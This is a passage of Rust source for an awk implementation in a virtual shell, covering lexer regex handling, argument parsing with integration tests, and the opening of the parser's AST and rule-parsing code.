String::new();\n        while self.pos < self.input.len() {\n            let ch = self.input[self.pos];\n            if ch == '/' {\n                self.pos += 1;\n                self.tokens.push(Token::Regex(pattern));\n                return Ok(());\n            } else if ch == '\\\\' {\n                pattern.push('\\\\');\n                self.pos += 1;\n                if self.pos < self.input.len() {\n                    pattern.push(self.input[self.pos]);\n                    self.pos += 1;\n                }\n            } else if ch == '\\n' {\n                return Err(\"unterminated regex literal\".to_string());\n            } else {\n                pattern.push(ch);\n                self.pos += 1;\n            }\n        }\n        Err(\"unterminated regex literal\".to_string())\n    }\n\n    /// Determine if `/` starts a regex or is a division operator.\n    /// A regex follows: start of input, operator, keyword, punctuation (except `)` and `]`),\n    /// or a value token separated by at least one newline (rule boundary).\n    fn should_lex_regex(&self) -> bool {\n        let mut saw_newline = false;\n        let prev = self.tokens.iter().rev().find(|t| {\n            if matches!(t, Token::Newline) {\n                saw_newline = true;\n                false\n            } else {\n                true\n            }\n        });\n        match prev {\n            None => true, // start of input\n            Some(t) => {\n                if matches!(\n                    t,\n                    Token::Semicolon\n                        | Token::LBrace\n                        | Token::RBrace\n                        | Token::LParen\n                        | Token::Comma\n                        | Token::Not\n                        | Token::And\n                        | Token::Or\n                        | Token::Match\n                        | Token::NotMatch\n                        | Token::Assign\n                        | Token::PlusAssign\n                        | Token::MinusAssign\n                        | Token::StarAssign\n                        | Token::SlashAssign\n                        | Token::PercentAssign\n                        | Token::CaretAssign\n                        | Token::Eq\n                        | Token::Ne\n                        | Token::Lt\n                        | Token::Le\n                        | Token::Gt\n                        | Token::Ge\n                        | Token::Question\n                        | Token::Colon\n                        | Token::Print\n                        | Token::Printf\n                        | Token::Begin\n                        | Token::End\n                        | Token::If\n                        | Token::While\n                        | Token::For\n                        | Token::Do\n                ) {\n                    return true;\n                }\n                // At rule boundaries (newline between value token and /), treat as regex\n                saw_newline\n            }\n        }\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n\n    #[test]\n    fn tokenize_simple_print() {\n        let tokens = Lexer::new(\"{print $1}\").tokenize().unwrap();\n        assert_eq!(\n            tokens,\n            vec![\n                Token::LBrace,\n                Token::Print,\n                Token::Dollar,\n                Token::Number(1.0),\n                Token::RBrace,\n                Token::Eof,\n            ]\n        );\n    }\n\n    #[test]\n    fn tokenize_begin_end() {\n        let tokens = Lexer::new(\"BEGIN{x=0} {x++} END{print x}\")\n            .tokenize()\n            .unwrap();\n        assert!(matches!(tokens[0], Token::Begin));\n        assert!(tokens.iter().any(|t| matches!(t, Token::End)));\n    }\n\n    #[test]\n    fn tokenize_regex() {\n        let tokens = Lexer::new(\"/error/ {print}\").tokenize().unwrap();\n        assert_eq!(tokens[0], Token::Regex(\"error\".to_string()));\n    }\n\n    #[test]\n    fn tokenize_string_escapes() {\n        let tokens = Lexer::new(r#\"\"hello\\nworld\"\"#).tokenize().unwrap();\n        assert_eq!(tokens[0], Token::StringLit(\"hello\\nworld\".to_string()));\n    }\n\n    #[test]\n    fn tokenize_comparison_ops() {\n        let tokens = Lexer::new(\"$1 >= 10 && $2 != \\\"\\\"\").tokenize().unwrap();\n        assert!(tokens.contains(&Token::Ge));\n        assert!(tokens.contains(&Token::And));\n        assert!(tokens.contains(&Token::Ne));\n    }\n}\n","/home/user/src/commands/awk/mod.rs":"mod lexer;\nmod parser;\nmod runtime;\n\nuse super::{CommandContext, CommandMeta, CommandResult, VirtualCommand};\nuse lexer::Lexer;\nuse parser::Parser;\nuse runtime::AwkRuntime;\nuse std::path::PathBuf;\n\npub struct AwkCommand;\n\nstatic AWK_META: CommandMeta = CommandMeta {\n    name: \"awk\",\n    synopsis: \"awk [-F FS] [-v VAR=VALUE] [-f FILE] 'PROGRAM' [FILE ...]\",\n    description: \"Pattern scanning and text processing language.\",\n    options: &[\n        (\"-F FS\", \"set the input field separator\"),\n        (\"-v VAR=VALUE\", \"assign a value to a variable\"),\n        (\"-f FILE\", \"read the awk program from FILE\"),\n    ],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl VirtualCommand for AwkCommand {\n    fn name(&self) -> &str {\n        \"awk\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&AWK_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        match run_awk(args, ctx) {\n            Ok(result) => result,\n            Err(e) => CommandResult {\n                stdout: String::new(),\n                stderr: format!(\"awk: {e}\\n\"),\n                exit_code: 2,\n                stdout_bytes: None,\n            },\n        }\n    }\n}\n\nstruct AwkOpts {\n    field_separator: Option<String>,\n    assignments: Vec<(String, String)>,\n    program: String,\n    prog_file: Option<String>,\n    files: Vec<String>,\n}\n\nfn parse_args(args: &[String]) -> Result<AwkOpts, String> {\n    let mut fs = None;\n    let mut assignments = Vec::new();\n    let mut program = None;\n    let mut files = Vec::new();\n    let mut prog_file = None;\n\n    let mut i = 0;\n    while i < args.len() {\n        let arg = &args[i];\n        if arg == \"-F\" {\n            i += 1;\n            if i >= args.len() {\n                return Err(\"option -F requires an argument\".to_string());\n            }\n            fs = Some(args[i].clone());\n        } else if let Some(sep) = arg.strip_prefix(\"-F\") {\n            fs = Some(sep.to_string());\n        } else if arg == \"-v\" {\n            i += 1;\n            if i >= args.len() {\n                return Err(\"option -v requires an argument\".to_string());\n            }\n            let assign = &args[i];\n            if let Some((var, val)) = assign.split_once('=') {\n                assignments.push((var.to_string(), val.to_string()));\n            } else {\n                return Err(format!(\"invalid -v assignment: {assign}\"));\n            }\n        } else if let Some(rest) = arg.strip_prefix(\"-v\") {\n            if let Some((var, val)) = rest.split_once('=') {\n                assignments.push((var.to_string(), val.to_string()));\n            } else {\n                return Err(format!(\"invalid -v assignment: {rest}\"));\n            }\n        } else if arg == \"-f\" {\n            i += 1;\n            if i >= args.len() {\n                return Err(\"option -f requires an argument\".to_string());\n            }\n            prog_file = Some(args[i].clone());\n        } else if arg == \"--\" {\n            i += 1;\n            break;\n        } else if arg.starts_with('-') && program.is_none() && prog_file.is_none() {\n            return Err(format!(\"unknown option: {arg}\"));\n        } else if program.is_none() && prog_file.is_none() {\n            program = Some(arg.clone());\n        } else {\n            files.push(arg.clone());\n        }\n        i += 1;\n    }\n\n    // Remaining args are files\n    while i < args.len() {\n        files.push(args[i].clone());\n        i += 1;\n    }\n\n    if let Some(pf) = prog_file {\n        Ok(AwkOpts {\n            field_separator: fs,\n            assignments,\n            program: String::new(),\n            prog_file: Some(pf),\n            files,\n        })\n    } else if let Some(prog) = program {\n        Ok(AwkOpts {\n            field_separator: fs,\n            assignments,\n            program: prog,\n            prog_file: None,\n            files,\n        })\n    } else {\n        Err(\"no program text\".to_string())\n    }\n}\n\nfn resolve_path(path_str: &str, cwd: &str) -> PathBuf {\n    if path_str.starts_with('/') {\n        PathBuf::from(path_str)\n    } else {\n        PathBuf::from(cwd).join(path_str)\n    }\n}\n\nfn run_awk(args: &[String], ctx: &CommandContext) -> Result<CommandResult, String> {\n    let mut opts = parse_args(args)?;\n\n    // Handle -f progfile\n    if let Some(ref pf) = opts.prog_file {\n        let path = resolve_path(pf, ctx.cwd);\n        match ctx.fs.read_file(&path) {\n            Ok(bytes) => {\n                opts.program = String::from_utf8_lossy(&bytes).to_string();\n            }\n            Err(e) => return Err(format!(\"can't open source file '{pf}': {e}\")),\n        }\n    }\n    if opts.program.is_empty() {\n        return Err(\"no program text\".to_string());\n    }\n\n    // Tokenize\n    let tokens = Lexer::new(&opts.program)\n        .tokenize()\n        .map_err(|e| format!(\"syntax error: {e}\"))?;\n\n    // Parse\n    let program = Parser::new(tokens)\n        .parse()\n        .map_err(|e| format!(\"syntax error: {e}\"))?;\n\n    // Set up runtime\n    let mut runtime = AwkRuntime::new();\n    runtime.apply_limits(ctx.limits);\n\n    // Apply -F\n    if let Some(ref fs) = opts.field_separator {\n        runtime.set_var(\"FS\", fs);\n    }\n\n    // Apply -v assignments\n    for (var, val) in &opts.assignments {\n        runtime.set_var(var, val);\n    }\n\n    // Build ARGC/ARGV\n    let mut argv_args = vec![\"awk\".to_string()];\n    argv_args.extend(opts.files.clone());\n    runtime.set_argc_argv(&argv_args);\n\n    // Collect inputs\n    let inputs = collect_inputs(&opts.files, ctx)?;\n\n    // Execute\n    let (exit_code, stdout, stderr) = runtime.execute(&program, &inputs);\n\n    Ok(CommandResult {\n        stdout,\n        stderr,\n        exit_code,\n        stdout_bytes: None,\n    })\n}\n\nfn collect_inputs(files: &[String], ctx: &CommandContext) -> Result<Vec<(String, String)>, String> {\n    if files.is_empty() {\n        // Read from stdin\n        if ctx.stdin.is_empty() {\n            return Ok(vec![]);\n        }\n        return Ok(vec![(\"\".to_string(), ctx.stdin.to_string())]);\n    }\n\n    let mut inputs = Vec::new();\n    for file in files {\n        if file == \"-\" {\n            inputs.push((\"(standard input)\".to_string(), ctx.stdin.to_string()));\n        } else {\n            let path = resolve_path(file, ctx.cwd);\n            match ctx.fs.read_file(&path) {\n                Ok(bytes) => {\n                    inputs.push((file.clone(), String::from_utf8_lossy(&bytes).to_string()));\n                }\n                Err(e) => {\n                    return Err(format!(\"can't open file '{file}': {e}\"));\n                }\n            }\n        }\n    }\n    Ok(inputs)\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    use crate::interpreter::ExecutionLimits;\n    use crate::network::NetworkPolicy;\n    use crate::vfs::{InMemoryFs, VirtualFs};\n    use std::collections::HashMap;\n    use std::sync::Arc;\n\n    fn run(program: &str, stdin: &str) -> CommandResult {\n        let fs = Arc::new(InMemoryFs::new());\n        let env = HashMap::new();\n        let limits = ExecutionLimits::default();\n        let ctx = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin,\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &NetworkPolicy::default(),\n            exec: None,\n            shell_opts: None,\n        };\n        let args = vec![program.to_string()];\n        AwkCommand.execute(&args, &ctx)\n    }\n\n    fn run_with_args(args: &[&str], stdin: &str) -> CommandResult {\n        let fs = Arc::new(InMemoryFs::new());\n        let env = HashMap::new();\n        let limits = ExecutionLimits::default();\n        let ctx = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin,\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &NetworkPolicy::default(),\n            exec: None,\n            shell_opts: None,\n        };\n        let args: Vec<String> = args.iter().map(|s| s.to_string()).collect();\n        AwkCommand.execute(&args, &ctx)\n    }\n\n    fn run_with_files(program: &str, files: &[(&str, &str)]) -> CommandResult {\n        let fs = Arc::new(InMemoryFs::new());\n        for (name, content) in files {\n            fs.write_file(&PathBuf::from(format!(\"/{name}\")), content.as_bytes())\n                .unwrap();\n        }\n        let env = HashMap::new();\n        let limits = ExecutionLimits::default();\n        let ctx = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin: \"\",\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &NetworkPolicy::default(),\n            exec: None,\n            shell_opts: None,\n        };\n        let mut args: Vec<String> = vec![program.to_string()];\n        for (name, _) in files {\n            args.push(name.to_string());\n        }\n        AwkCommand.execute(&args, &ctx)\n    }\n\n    #[test]\n    fn integration_print_first_field() {\n        let r = run(\"{print $1}\", \"hello world\\nfoo bar\\n\");\n        assert_eq!(r.stdout, \"hello\\nfoo\\n\");\n        assert_eq!(r.exit_code, 0);\n    }\n\n    #[test]\n    fn integration_field_separator() {\n        let r = run_with_args(&[\"-F:\", \"{print $1}\"], \"root:x:0:0\\n\");\n        assert_eq!(r.stdout, \"root\\n\");\n    }\n\n    #[test]\n    fn integration_field_assignment() {\n        let r = run(\"{$2 = \\\"X\\\"; print $0}\", \"a b c\\n\");\n        assert_eq!(r.stdout, \"a X c\\n\");\n    }\n\n    #[test]\n    fn integration_regex_filter() {\n        let r = run(\"/error/ {print}\", \"info: ok\\nerror: fail\\ninfo: done\\n\");\n        assert_eq!(r.stdout, \"error: fail\\n\");\n    }\n\n    #[test]\n    fn integration_begin_end_sum() {\n        let r = run(\"BEGIN{sum=0} {sum+=$1} END{print sum}\", \"10\\n20\\n30\\n\");\n        assert_eq!(r.stdout, \"60\\n\");\n    }\n\n    #[test]\n    fn integration_variable() {\n        let r = run_with_args(&[\"-v\", \"threshold=10\", \"$1 > threshold\"], \"5\\n15\\n8\\n20\\n\");\n        assert_eq!(r.stdout, \"15\\n20\\n\");\n    }\n\n    #[test]\n    fn integration_uninitialized() {\n        let r = run(\"{print x+0, x}\", \"line\\n\");\n        assert_eq!(r.stdout, \"0 \\n\");\n    }\n\n    #[test]\n    fn integration_arithmetic() {\n        let r = run(\"{print $1, $1*2}\", \"5\\n10\\n\");\n        assert_eq!(r.stdout, \"5 10\\n10 20\\n\");\n    }\n\n    #[test]\n    fn integration_if_else() {\n        let r = run(\n            \"{if ($1 > 10) print \\\"big\\\"; else print \\\"small\\\"}\",\n            \"5\\n15\\n\",\n        );\n        assert_eq!(r.stdout, \"small\\nbig\\n\");\n    }\n\n    #[test]\n    fn integration_printf() {\n        let r = run(\"{printf \\\"%-10s %5d\\\\n\\\", $1, $2}\", \"hello 42\\n\");\n        assert_eq!(r.stdout, \"hello         42\\n\");\n    }\n\n    #[test]\n    fn integration_array_word_count() {\n        let r = run(\n            \"{count[$1]++} END{for(k in count) print k, count[k]}\",\n            \"a\\nb\\na\\nc\\nb\\na\\n\",\n        );\n        assert!(r.stdout.contains(\"a 3\"));\n        assert!(r.stdout.contains(\"b 2\"));\n        assert!(r.stdout.contains(\"c 1\"));\n    }\n\n    #[test]\n    fn integration_string_functions() {\n        let r = run(\"{print toupper($0)}\", \"hello\\n\");\n        assert_eq!(r.stdout, \"HELLO\\n\");\n    }\n\n    #[test]\n    fn integration_multi_file() {\n        let r = run_with_files(\n            \"{print FILENAME, FNR, NR}\",\n            &[(\"file1\", \"a\\nb\\n\"), (\"file2\", \"c\\n\")],\n        );\n        assert_eq!(r.stdout, \"file1 1 1\\nfile1 2 2\\nfile2 1 3\\n\");\n    }\n\n    #[test]\n    fn integration_range_pattern() {\n        let r = run(\n            \"/start/,/end/ {print}\",\n            \"before\\nstart here\\nmiddle\\nend here\\nafter\\n\",\n        );\n        assert_eq!(r.stdout, \"start here\\nmiddle\\nend here\\n\");\n    }\n\n    #[test]\n    fn integration_no_action_implicit_print() {\n        let r = run(\"/hello/\", \"hello world\\ngoodbye\\nhello again\\n\");\n        assert_eq!(r.stdout, \"hello world\\nhello again\\n\");\n    }\n\n    #[test]\n    fn integration_empty_input() {\n        let r = run(\"{print}\", \"\");\n        assert_eq!(r.stdout, \"\");\n    }\n\n    #[test]\n    fn integration_empty_fs() {\n        let r = run_with_args(&[\"-F\", \"\", \"{print $1, $2, $3}\"], \"abc\\n\");\n        assert_eq!(r.stdout, \"a b c\\n\");\n    }\n\n    #[test]\n    fn integration_nr_nf() {\n        let r = run(\"{print NR, NF}\", \"a b c\\nx y\\n\");\n        assert_eq!(r.stdout, \"1 3\\n2 2\\n\");\n    }\n\n    #[test]\n    fn integration_progfile() {\n        let fs = Arc::new(InMemoryFs::new());\n        fs.write_file(&PathBuf::from(\"/prog.awk\"), b\"{print $1}\")\n            .unwrap();\n        let env = HashMap::new();\n        let limits = ExecutionLimits::default();\n        let ctx = CommandContext {\n            fs: &*fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin: \"hello world\\n\",\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &NetworkPolicy::default(),\n            exec: None,\n            shell_opts: None,\n        };\n        let args = vec![\"-f\".to_string(), \"prog.awk\".to_string()];\n        let r = AwkCommand.execute(&args, &ctx);\n        assert_eq!(r.stdout, \"hello\\n\");\n    }\n\n    #[test]\n    fn integration_match_function() {\n        let r = run(\n            \"{if (match($0, /[0-9]+/)) print RSTART, RLENGTH}\",\n            \"abc123def\\n\",\n        );\n        assert_eq!(r.stdout, \"4 3\\n\");\n    }\n\n    #[test]\n    fn integration_split_function() {\n        let r = run(\n            \"{n=split($0, a, \\\":\\\"); for(i=1;i<=n;i++) print a[i]}\",\n            \"a:b:c\\n\",\n        );\n        assert_eq!(r.stdout, \"a\\nb\\nc\\n\");\n    }\n\n    #[test]\n    fn integration_sub_gsub() {\n        let r = run(\"{sub(/world/, \\\"earth\\\"); print}\", \"hello world\\n\");\n        assert_eq!(r.stdout, \"hello earth\\n\");\n\n        let r = run(\"{gsub(/o/, \\\"0\\\"); print}\", \"foobar\\n\");\n        assert_eq!(r.stdout, \"f00bar\\n\");\n    }\n\n    #[test]\n    fn integration_in_array() {\n        let r = run(\"{a[$1]=1} END{print (\\\"x\\\" in a), (\\\"z\\\" in a)}\", \"x\\ny\\n\");\n        assert_eq!(r.stdout, \"1 0\\n\");\n    }\n\n    #[test]\n    fn integration_assignment_operators() {\n        let r = run(\"BEGIN{x=10; x+=5; x-=3; print x}\", \"\");\n        assert_eq!(r.stdout, \"12\\n\");\n    }\n\n    #[test]\n    fn integration_do_while() {\n        let r = run(\n            \"BEGIN{i=1; do { printf \\\"%d \\\", i; i++ } while(i<=3); print \\\"\\\"}\",\n            \"\",\n        );\n        assert_eq!(r.stdout, \"1 2 3 \\n\");\n    }\n\n    #[test]\n    fn integration_ternary() {\n        let r = run(\"{print ($1 > 0) ? \\\"pos\\\" : \\\"neg\\\"}\", \"5\\n-3\\n\");\n        assert_eq!(r.stdout, \"pos\\nneg\\n\");\n    }\n\n    #[test]\n    fn integration_pipe_stdin() {\n        // Simulates `echo \"hello world\" | awk '{print $2}'`\n        let r = run(\"{print $2}\", \"hello world\\n\");\n        assert_eq!(r.stdout, \"world\\n\");\n    }\n\n    #[test]\n    fn integration_substr() {\n        let r = run(\"{print substr($0, 7, 5)}\", \"hello world\\n\");\n        assert_eq!(r.stdout, \"world\\n\");\n    }\n\n    #[test]\n    fn integration_index_func() {\n        let r = run(\"{print index($0, \\\"world\\\")}\", \"hello world\\n\");\n        assert_eq!(r.stdout, \"7\\n\");\n    }\n\n    #[test]\n    fn integration_sprintf() {\n        let r = run(\"{print sprintf(\\\"%05d\\\", $1)}\", \"42\\n\");\n        assert_eq!(r.stdout, \"00042\\n\");\n    }\n\n    #[test]\n    fn integration_power() {\n        let r = run(\"BEGIN{print 2^10}\", \"\");\n        assert_eq!(r.stdout, \"1024\\n\");\n    }\n\n    #[test]\n    fn integration_int() {\n        let r = run(\"BEGIN{print int(3.9)}\", \"\");\n        assert_eq!(r.stdout, \"3\\n\");\n    }\n\n    #[test]\n    fn integration_error_on_no_program() {\n        let r = run_with_args(&[], \"\");\n        assert_ne!(r.exit_code, 0);\n    }\n\n    #[test]\n    fn integration_expression_pattern() {\n        let r = run(\"NR > 1 {print}\", \"skip\\nkeep1\\nkeep2\\n\");\n        assert_eq!(r.stdout, \"keep1\\nkeep2\\n\");\n    }\n\n    #[test]\n    fn integration_regex_match_not_match() {\n        let r = run(\"{if ($0 ~ /^[0-9]/) print}\", \"123\\nabc\\n456\\n\");\n        assert_eq!(r.stdout, \"123\\n456\\n\");\n\n        let r = run(\"{if ($0 !~ /^[0-9]/) print}\", \"123\\nabc\\n456\\n\");\n        assert_eq!(r.stdout, \"abc\\n\");\n    }\n\n    #[test]\n    fn integration_delete_array() {\n        let r = run(\"{a[$1]=1} END{delete a; print length(a)}\", \"x\\ny\\n\");\n        assert_eq!(r.stdout, \"0\\n\");\n    }\n\n    #[test]\n    fn integration_single_field() {\n        let r = run(\"{print $1, NF}\", \"hello\\n\");\n        assert_eq!(r.stdout, \"hello 1\\n\");\n    }\n\n    #[test]\n    fn integration_very_long_line() {\n        let long = \"a \".repeat(1000).trim().to_string();\n        let input = format!(\"{long}\\n\");\n        let r = run(\"{print NF}\", &input);\n        assert_eq!(r.stdout, \"1000\\n\");\n    }\n\n    #[test]\n    fn integration_begin_only() {\n        let r = run(\"BEGIN{print \\\"hello\\\"}\", \"\");\n        assert_eq!(r.stdout, \"hello\\n\");\n    }\n\n    #[test]\n    fn integration_end_only() {\n        let r = run(\"END{print \\\"done\\\"}\", \"some input\\n\");\n        assert_eq!(r.stdout, \"done\\n\");\n    }\n\n    #[test]\n    fn integration_break_continue() {\n        let r = run(\n            \"BEGIN{for(i=1;i<=10;i++){if(i==4) break; printf \\\"%d \\\",i}; print \\\"\\\"}\",\n            \"\",\n        );\n        assert_eq!(r.stdout, \"1 2 3 \\n\");\n\n        let r = run(\n            \"BEGIN{for(i=1;i<=5;i++){if(i==3) continue; printf \\\"%d \\\",i}; print \\\"\\\"}\",\n            \"\",\n        );\n        assert_eq!(r.stdout, \"1 2 4 5 \\n\");\n    }\n\n    #[test]\n    fn integration_next() {\n        let r = run(\n            \"{if ($1 == \\\"skip\\\") next; print}\",\n            \"keep\\nskip\\nalso keep\\n\",\n        );\n        assert_eq!(r.stdout, \"keep\\nalso keep\\n\");\n    }\n\n    #[test]\n    fn integration_exit_code() {\n        let r = run(\"{ if (NR==2) exit 42; print }\", \"a\\nb\\nc\\n\");\n        assert_eq!(r.stdout, \"a\\n\");\n        assert_eq!(r.exit_code, 42);\n    }\n\n    #[test]\n    fn integration_logical_ops() {\n        let r = run(\"{print ($1 > 0 && $1 < 10)}\", \"5\\n15\\n\");\n        assert_eq!(r.stdout, \"1\\n0\\n\");\n\n        let r = run(\"{print ($1 > 10 || $1 < 0)}\", \"5\\n-3\\n15\\n\");\n        assert_eq!(r.stdout, \"0\\n1\\n1\\n\");\n    }\n\n    #[test]\n    fn integration_modulo() {\n        let r = run(\"{print $1 % 3}\", \"10\\n7\\n\");\n        assert_eq!(r.stdout, \"1\\n1\\n\");\n    }\n\n    #[test]\n    fn integration_implicit_concat() {\n        let r = run(\"BEGIN{x = \\\"hello\\\" \\\" \\\" \\\"world\\\"; print x}\", \"\");\n        assert_eq!(r.stdout, \"hello world\\n\");\n    }\n\n    #[test]\n    fn integration_ofs() {\n        let r = run_with_args(&[\"-v\", \"OFS=-\", \"{print $1, $2}\"], \"a b\\n\");\n        assert_eq!(r.stdout, \"a-b\\n\");\n    }\n\n    #[test]\n    fn integration_length_func() {\n        let r = run(\"{print length($0)}\", \"hello\\n\");\n        assert_eq!(r.stdout, \"5\\n\");\n    }\n\n    #[test]\n    fn integration_pre_post_increment() {\n        let r = run(\"BEGIN{x=5; print ++x; print x++; print x}\", \"\");\n        assert_eq!(r.stdout, \"6\\n6\\n7\\n\");\n    }\n}\n","/home/user/src/commands/awk/parser.rs":"use super::lexer::Token;\n\n// ── AST types ──────────────────────────────────────────────────────────\n\n#[derive(Debug, Clone)]\npub struct AwkProgram {\n    pub rules: Vec<AwkRule>,\n}\n\n#[derive(Debug, Clone)]\npub struct AwkRule {\n    pub pattern: Option<AwkPattern>,\n    pub action: Option<Vec<AwkStatement>>,\n}\n\n#[derive(Debug, Clone)]\npub enum AwkPattern {\n    Begin,\n    End,\n    Expression(Expr),\n    Regex(String),\n    Range(Expr, Expr),\n}\n\n#[derive(Debug, Clone)]\npub enum AwkStatement {\n    Print {\n        exprs: Vec<Expr>,\n    },\n    Printf {\n        format: Expr,\n        exprs: Vec<Expr>,\n    },\n    If {\n        cond: Expr,\n        then: Box<AwkStatement>,\n        else_: Option<Box<AwkStatement>>,\n    },\n    While {\n        cond: Expr,\n        body: Box<AwkStatement>,\n    },\n    DoWhile {\n        body: Box<AwkStatement>,\n        cond: Expr,\n    },\n    For {\n        init: Option<Box<AwkStatement>>,\n        cond: Option<Expr>,\n        step: Option<Box<AwkStatement>>,\n        body: Box<AwkStatement>,\n    },\n    ForIn {\n        var: String,\n        array: String,\n        body: Box<AwkStatement>,\n    },\n    Block(Vec<AwkStatement>),\n    Expression(Expr),\n    Break,\n    Continue,\n    Next,\n    Exit(Option<Expr>),\n    Delete {\n        array: String,\n        indices: Option<Vec<Expr>>,\n    },\n}\n\n#[derive(Debug, Clone)]\npub enum Expr {\n    Number(f64),\n    String(String),\n    Regex(String),\n    Var(String),\n    FieldRef(Box<Expr>),\n    ArrayRef {\n        name: String,\n        indices: Vec<Expr>,\n    },\n    BinaryOp {\n        op: BinOp,\n        left: Box<Expr>,\n        right: Box<Expr>,\n    },\n    UnaryOp {\n        op: UnaryOp,\n        expr: Box<Expr>,\n    },\n    Assign {\n        target: Box<Expr>,\n        op: AssignOp,\n        value: Box<Expr>,\n    },\n    Ternary {\n        cond: Box<Expr>,\n        then: Box<Expr>,\n        else_: Box<Expr>,\n    },\n    FuncCall {\n        name: String,\n        args: Vec<Expr>,\n    },\n    Concat {\n        left: Box<Expr>,\n        right: Box<Expr>,\n    },\n    InArray {\n        index: Box<Expr>,\n        array: String,\n    },\n    Match {\n        expr: Box<Expr>,\n        regex: Box<Expr>,\n        negated: bool,\n    },\n    PreIncrement(Box<Expr>),\n    PreDecrement(Box<Expr>),\n    PostIncrement(Box<Expr>),\n    PostDecrement(Box<Expr>),\n    Getline,\n}\n\n#[derive(Debug, Clone, Copy, PartialEq)]\npub enum BinOp {\n    Add,\n    Sub,\n    Mul,\n    Div,\n    Mod,\n    Pow,\n    Lt,\n    Le,\n    Gt,\n    Ge,\n    Eq,\n    Ne,\n    And,\n    Or,\n}\n\n#[derive(Debug, Clone, Copy, PartialEq)]\npub enum UnaryOp {\n    Neg,\n    Pos,\n    Not,\n}\n\n#[derive(Debug, Clone, Copy, PartialEq)]\npub enum AssignOp {\n    Assign,\n    AddAssign,\n    SubAssign,\n    MulAssign,\n    DivAssign,\n    ModAssign,\n    PowAssign,\n}\n\n// ── Parser ─────────────────────────────────────────────────────────────\n\npub struct Parser {\n    tokens: Vec<Token>,\n    pos: usize,\n}\n\nimpl Parser {\n    pub fn new(tokens: Vec<Token>) -> Self {\n        Self { tokens, pos: 0 }\n    }\n\n    pub fn parse(mut self) -> Result<AwkProgram, String> {\n        let mut rules = Vec::new();\n        self.skip_terminators();\n        while !self.at_eof() {\n            rules.push(self.parse_rule()?);\n            self.skip_terminators();\n        }\n        Ok(AwkProgram { rules })\n    }\n\n    fn peek(&self) -> &Token {\n        self.tokens.get(self.pos).unwrap_or(&Token::Eof)\n    }\n\n    fn advance(&mut self) -> Token {\n        let tok = self.tokens.get(self.pos).cloned().unwrap_or(Token::Eof);\n        self.pos += 1;\n        tok\n    }\n\n    fn at_eof(&self) -> bool {\n        matches!(self.peek(), Token::Eof)\n    }\n\n    fn expect(&mut self, expected: &Token) -> Result<(), String> {\n        let tok = self.advance();\n        if std::mem::discriminant(&tok) == std::mem::discriminant(expected) {\n            Ok(())\n        } else {\n            Err(format!(\"expected {expected}, got {tok}\"))\n        }\n    }\n\n    fn skip_terminators(&mut self) {\n        while matches!(self.peek(), Token::Newline | Token::Semicolon) {\n            self.advance();\n        }\n    }\n\n    fn skip_newlines(&mut self) {\n        while matches!(self.peek(), Token::Newline) {\n            self.advance();\n        }\n    }\n\n    // ── Rule parsing ─────────────────────────────────────────────────\n\n    fn parse_rule(&mut self) -> Result<AwkRule, String> {\n        let pattern = self.try_parse_pattern()?;\n        self.skip_newlines();\n        let action = if matches!(self.peek(), Token::LBrace) {\n            Some(self.parse_block_body()?)\n        } else {\n            None\n        };\n        // Validate: at least one of pattern or action must be present\n        if pattern.is_none() && action.is_none() {\n            return Err(format!(\"expected pattern or action, got {}\", self.peek()));\n        }\n        Ok(AwkRule { pattern, action })\n    }\n\n    fn try_parse_pattern(&mut self) -> Result<Option<AwkPattern>, String> {\n        match self.peek() {\n            Token::Begin => {\n                self.advance();\n                Ok(Some(AwkPattern::Begin))\n            }\n            Token::End => {\n                self.advance();\n                Ok(Some(AwkPattern::End))\n            }\n            Token::LBrace => Ok(None),\n            Token::Eof => Ok(None),\n            Token::Regex(_) => {\n                let regex = if let Token::Regex(r) = self.advance() {\n                    r\n                } else {\n                    unreachable!()\n                };\n                // Check for range pattern: /regex1/,/regex2/\n                if matches!(self.peek(), Token::Comma) {\n                    self.advance(); // consume ,\n                    self.skip_newlines();\n                    let end_expr = self.parse_expr()?;\n                    Ok(Some(AwkPattern::Range(Expr::Regex(regex), end_expr)))\n                } else {\n                    Ok(Some(AwkPattern::Regex(regex)))\n                }\n            }\n            _ => {\n                let expr = self.parse_expr()?;\n                // Check for range pattern: expr1,expr2\n                if matches!(self.peek(), Token::Comma) {\n                    // Only treat as range if next is not { — but in awk, comma in pattern\n                    // context is always a range. We need to peek ahead.\n                    self.advance(); // consume ,\n                    self.skip_newlines();\n                    let end_expr = self.parse_expr()?;\n                    Ok(Some(AwkPattern::Range(expr, end_expr)))\n                } else {\n                    Ok(Some(AwkPattern::Expression(expr)))\n                }\n            }\n        }\n    }\n\n    // ── Block / statement parsing ────────────────────────────────────\n\n    fn parse_block_body(&mut self) -> Result<Vec<AwkStatement>, String> {\n        self.expect(&Token::LBrace)?;\n        self.skip_terminators();\n        let mut stmts = Vec::new();\n        while !matches!(self.peek(), Token::RBrace | Token::Eof) {\n            stmts.push(self.parse_statement()?);\n            self.skip_terminators();\n        }\n        self.expect(&Token::RBrace)?;\n        Ok(stmts)\n    }\n\n    fn parse_statement(&mut self) -> Result<AwkStatement, String> {\n        match self.peek() {\n            Token::Print => self.parse_print(),\n            Token::Printf => self.parse_printf(),\n            Token::If => self.parse_if(),\n            Token::While => self.parse_while(),\n            Token::Do => self.parse_do_while(),\n            Token::For => self.parse_for(),\n            Token::LBrace => {\n                let stmts = self.parse_block_body()?;\n                Ok(AwkStatement::Block(stmts))\n            }\n            Token::Break => {\n                self.advance();\n                Ok(AwkStatement::Break)\n            }\n            Token::Continue => {\n                self.advance();\n                Ok(AwkStatement::Continue)\n            }\n            Token::Next => {\n                self.advance();\n                Ok(AwkStatement::Next)\n            }\n            Token::Exit => {\n                self.advance();\n                let code = if self.is_expr_start() {\n                    Some(self.parse_expr()?)\n                } else {\n    